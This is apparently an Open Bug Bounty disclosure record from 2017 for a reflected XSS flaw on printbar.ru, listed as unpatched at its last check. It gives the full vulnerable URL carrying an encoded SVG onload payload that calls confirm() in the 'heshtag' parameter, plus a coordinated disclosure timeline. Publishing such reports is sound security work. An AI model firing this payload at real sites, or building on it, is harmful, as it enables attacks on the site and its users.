printbar.ru XSS vulnerability

2017-08-16T19:05:00
ID OBB:279370
Type openbugbounty
Reporter RootByte
Modified 2017-11-14T19:25:00

Description

Vulnerable URL:
https://printbar.ru/tovari/?heshtag=1%2522%2527--%253E%253CSvg%2520O%256ELoad%253Dconfirm%2528/OPENBUGBOUNTY/%2529%253E#
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 14.11.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 49759
VIP website status:| Yes
Check printbar.ru SSL connection:| (Grade: B-)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 16 August, 2017 19:05 GMT
Generic security notifications sent to website owner| 16 August, 2017 19:08 GMT
Vulnerability details disclosed by researcher| 14 November, 2017 19:25 GMT